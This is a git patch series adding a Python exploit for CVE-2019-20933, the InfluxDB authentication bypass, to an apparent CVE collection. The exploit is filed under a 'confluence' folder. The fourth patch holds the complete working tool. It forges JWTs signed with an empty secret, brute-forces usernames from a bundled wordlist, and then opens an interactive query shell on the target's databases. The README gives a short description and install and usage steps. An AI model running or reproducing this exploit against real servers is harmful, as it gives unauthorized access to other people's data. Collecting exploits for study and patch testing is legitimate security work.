From 49e030e9256dc58b63d61a617330929ea920cfb1 Mon Sep 17 00:00:00 2001 From: Zentung0628 Date: Tue, 14 Mar 2023 06:27:25 +0000 Subject: [PATCH 1/5] =?UTF-8?q?=E6=96=B0=E5=BB=BA=20CVE-2019-20933?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- cve/confluence/2019/CVE-2019-20933/.keep | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 cve/confluence/2019/CVE-2019-20933/.keep diff --git a/cve/confluence/2019/CVE-2019-20933/.keep b/cve/confluence/2019/CVE-2019-20933/.keep new file mode 100644 index 00000000..e69de29b -- Gitee From aa70c98f2891d377d26280ce82b1fe622213cefd Mon Sep 17 00:00:00 2001 From: Zentung0628 Date: Tue, 14 Mar 2023 06:27:47 +0000 Subject: [PATCH 2/5] =?UTF-8?q?=E5=88=A0=E9=99=A4=E6=96=87=E4=BB=B6=20cve/?= =?UTF-8?q?confluence/2019/CVE-2019-20933/.keep?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- cve/confluence/2019/CVE-2019-20933/.keep | 0 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 cve/confluence/2019/CVE-2019-20933/.keep diff --git a/cve/confluence/2019/CVE-2019-20933/.keep b/cve/confluence/2019/CVE-2019-20933/.keep deleted file mode 100644 index e69de29b..00000000 -- Gitee From 0f266e638fd376b9ce292fb2001835eb06174f04 Mon Sep 17 00:00:00 2001 From: Zentung0628 Date: Tue, 14 Mar 2023 06:28:04 +0000 Subject: [PATCH 3/5] =?UTF-8?q?=E6=96=B0=E5=BB=BA=20CVE-2019-20933?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- cve/confluence/2019/CVE-2019-20933/.keep | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 cve/confluence/2019/CVE-2019-20933/.keep diff --git a/cve/confluence/2019/CVE-2019-20933/.keep b/cve/confluence/2019/CVE-2019-20933/.keep new file mode 100644 index 00000000..e69de29b -- Gitee From f8ab71fefa73e555cdaba5fd3b18d9a783ec14a6 Mon Sep 17 00:00:00 2001 From: Zentung0628 Date: Tue, 14 Mar 2023 06:28:21 +0000 Subject: [PATCH 4/5] CVE-2019-20933 Signed-off-by: Zentung0628 --- cve/confluence/2019/CVE-2019-20933/README.md | 16 ++ .../2019/CVE-2019-20933/__main__.py | 185 ++++++++++++++++++ .../2019/CVE-2019-20933/requirements.txt | 4 + cve/confluence/2019/CVE-2019-20933/users.txt | 7 + 4 files changed, 212 insertions(+) create mode 100644 cve/confluence/2019/CVE-2019-20933/README.md create mode 100644 cve/confluence/2019/CVE-2019-20933/__main__.py create mode 100644 cve/confluence/2019/CVE-2019-20933/requirements.txt create mode 100644 cve/confluence/2019/CVE-2019-20933/users.txt diff --git a/cve/confluence/2019/CVE-2019-20933/README.md b/cve/confluence/2019/CVE-2019-20933/README.md new file mode 100644 index 00000000..dad0665f --- /dev/null +++ b/cve/confluence/2019/CVE-2019-20933/README.md @@ -0,0 +1,16 @@ +# InfluxDB Exploit CVE-2019-20933 + +Exploit for InfluxDB CVE-2019-20933 vulnerability, InfluxDB before 1.7.6 has an authentication bypass vulnerability in the authenticate function in services/httpd/handler.go because a JWT token may have an empty SharedSecret (aka shared secret). +Exploit check if server is vulnerable, then it tries to get a remote query shell. It has built in a username bruteforce service. + +## Installation +``` +git clone https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933.git +cd InfluxDB-Exploit-CVE-2019-20933 +pip install -r requirements.txt +``` + +## Usage +``` +python __main__.py +``` diff --git a/cve/confluence/2019/CVE-2019-20933/__main__.py b/cve/confluence/2019/CVE-2019-20933/__main__.py new file mode 100644 index 00000000..e38d12f4 --- /dev/null +++ b/cve/confluence/2019/CVE-2019-20933/__main__.py @@ -0,0 +1,185 @@ +#!/bin/env python + +import json +import pathlib +import time +import urllib +import requests as requests +import jwt +from termcolor import colored + +def bruteforceUser(filename, host, port): + print() + print("Bruteforcing usernames ...") + with open(filename) as f: + for line in f: + line = line.replace("\n", "") + exp = int(time.time()) + exp = exp + 2.628 * 10 ** 6 + # Generation JWT + payload = { + "username": line, + "exp": exp + } + + token = jwt.encode(payload, "", algorithm="HS256") + query = "SHOW DATABASES" + response = makeQuery(token, 'dummy', host, port, query) + response = json.loads(response) + if "error" in response.keys(): + if "signature is invalid" in response['error']: + print(colored("ERROR: Host not vulnerable !!!", "red")) + print(colored("ERROR: " + response['error'] + "", "red")) + exit(1) + if "user not found" in response['error']: + print("[{}] {}".format(colored("x", "red"), line)) + else: + print("[{}] {}".format(colored("v", "green"), line)) + print() + username = line + return username + + print(colored("ERROR: no valid username found !!!", "red")) + exit(1) + +def makeQuery(token, db, host, port, query): + try: + headers = { + 'Authorization': 'Bearer ' + token, + } + except: + token = token.decode("utf-8") + headers = { + 'Authorization': 'Bearer ' + token, + } + + # Send request + query = urllib.parse.quote_plus(query) + response = requests.get('http://' + host + ':' + str(port) + '/query?db=' + db + '&q=' + query, headers=headers) + return response.text + +def exploit(): + # imput data + print() + try: + host = input("Host (default: localhost): ") + except KeyboardInterrupt: + return + + if host == "": + host = "127.0.0.1" + + try: + port = input("Port (default: 8086): ") + except KeyboardInterrupt: + return + if port == "": + port = 8086 + + try: + username = input("Username path to username file (default: users.txt): ") + except KeyboardInterrupt: + return + + if username == "": + username = "users.txt" + + # check if username is a valid file to start bruteforce + file = pathlib.Path(username) + if file.exists(): + username = bruteforceUser(username, host, port) + + exp = int(time.time()) + exp = exp + 2.628 * 10 ** 6 # Aggiungo un mese + + # Generation JWT + payload = { + "username": username, + "exp": exp + } + + token = jwt.encode(payload, "", algorithm="HS256") + #print("Token: {}".format(token)) + query = "SHOW DATABASES" + response = makeQuery(token, 'dummy', host, port, query) + response = json.loads(response) + + if "results" in response.keys(): + print(colored("Host vulnerable !!!", "green")) + else: + print(colored("ERROR: Host not vulnerable !!!", "red")) + print(colored("ERROR: "+response['error']+"", "red")) + return + + # Get databases list + dblist = [db[0] for db in response['results'][0]['series'][0]['values']] + + while True: + print() + print("Databases:") + print() + for (i, db) in enumerate(dblist): + print("{}) {}".format(i + 1, db)) + + print() + print(".quit to exit") + + + try: + db = input("[{}@{}] Database: ".format(colored(username, "red"), colored(host, "yellow"))) + except KeyboardInterrupt: + print() + print("~ Bye!") + break + + try: + db = dblist[int(db) - 1] + except IndexError as e: + # Prompt again if database index if not in range + continue + except Exception as e: + # Check if database exists if its a string + if db.strip() == "": + continue + if db not in dblist: + print(colored("[Error] ", "red") + "No such database: \"" + colored(db, "yellow") + "\"") + continue + pass + + if db in ['.exit', '.quit', '.back']: + return + if db == "": + continue + + print() + print("Starting InfluxDB shell - .back to go back") + while True: + try: + query = input("[{}@{}/{}] $ ".format(colored(username, "red"), colored(host, "yellow"), colored(db, "blue"))) + except KeyboardInterrupt: + break + + if query.strip() == "": + continue + + if query in ['.exit', '.quit', '.back']: + break + + response = makeQuery(token, db, host, port, query) + response = json.loads(response) + print(json.dumps(response, indent=4, sort_keys=True)) + + +if __name__ == '__main__': + print(colored(""" + _____ __ _ _____ ____ ______ _ _ _ + |_ _| / _| | | __ \| _ \ | ____| | | (_) | + | | _ __ | |_| |_ ___ __ | | | |_) | | |__ __ ___ __ | | ___ _| |_ + | | | '_ \| _| | | | \ \/ / | | | _ < | __| \ \/ / '_ \| |/ _ \| | __| + _| |_| | | | | | | |_| |> <| |__| | |_) | | |____ > <| |_) | | (_) | | |_ + |_____|_| |_|_| |_|\__,_/_/\_\_____/|____/ |______/_/\_\ .__/|_|\___/|_|\__| + | | + |_| """, 'green')) + print(colored(" - using CVE-2019-20933", "yellow")) + + exploit() diff --git a/cve/confluence/2019/CVE-2019-20933/requirements.txt b/cve/confluence/2019/CVE-2019-20933/requirements.txt new file mode 100644 index 00000000..a345330c --- /dev/null +++ b/cve/confluence/2019/CVE-2019-20933/requirements.txt @@ -0,0 +1,4 @@ +urllib3 +requests +PyJWT +termcolor diff --git a/cve/confluence/2019/CVE-2019-20933/users.txt b/cve/confluence/2019/CVE-2019-20933/users.txt new file mode 100644 index 00000000..802b77da --- /dev/null +++ b/cve/confluence/2019/CVE-2019-20933/users.txt @@ -0,0 +1,7 @@ +admin +user +root +database +db +influx +influxdb -- Gitee From a6a64a806d71f4f34d1079e9a20733e0be0f2039 Mon Sep 17 00:00:00 2001 From: Zentung0628 Date: Tue, 14 Mar 2023 06:28:26 +0000 Subject: [PATCH 5/5] =?UTF-8?q?=E5=88=A0=E9=99=A4=E6=96=87=E4=BB=B6=20cve/?= =?UTF-8?q?confluence/2019/CVE-2019-20933/.keep?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- cve/confluence/2019/CVE-2019-20933/.keep | 0 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 cve/confluence/2019/CVE-2019-20933/.keep diff --git a/cve/confluence/2019/CVE-2019-20933/.keep b/cve/confluence/2019/CVE-2019-20933/.keep deleted file mode 100644 index e69de29b..00000000 -- Gitee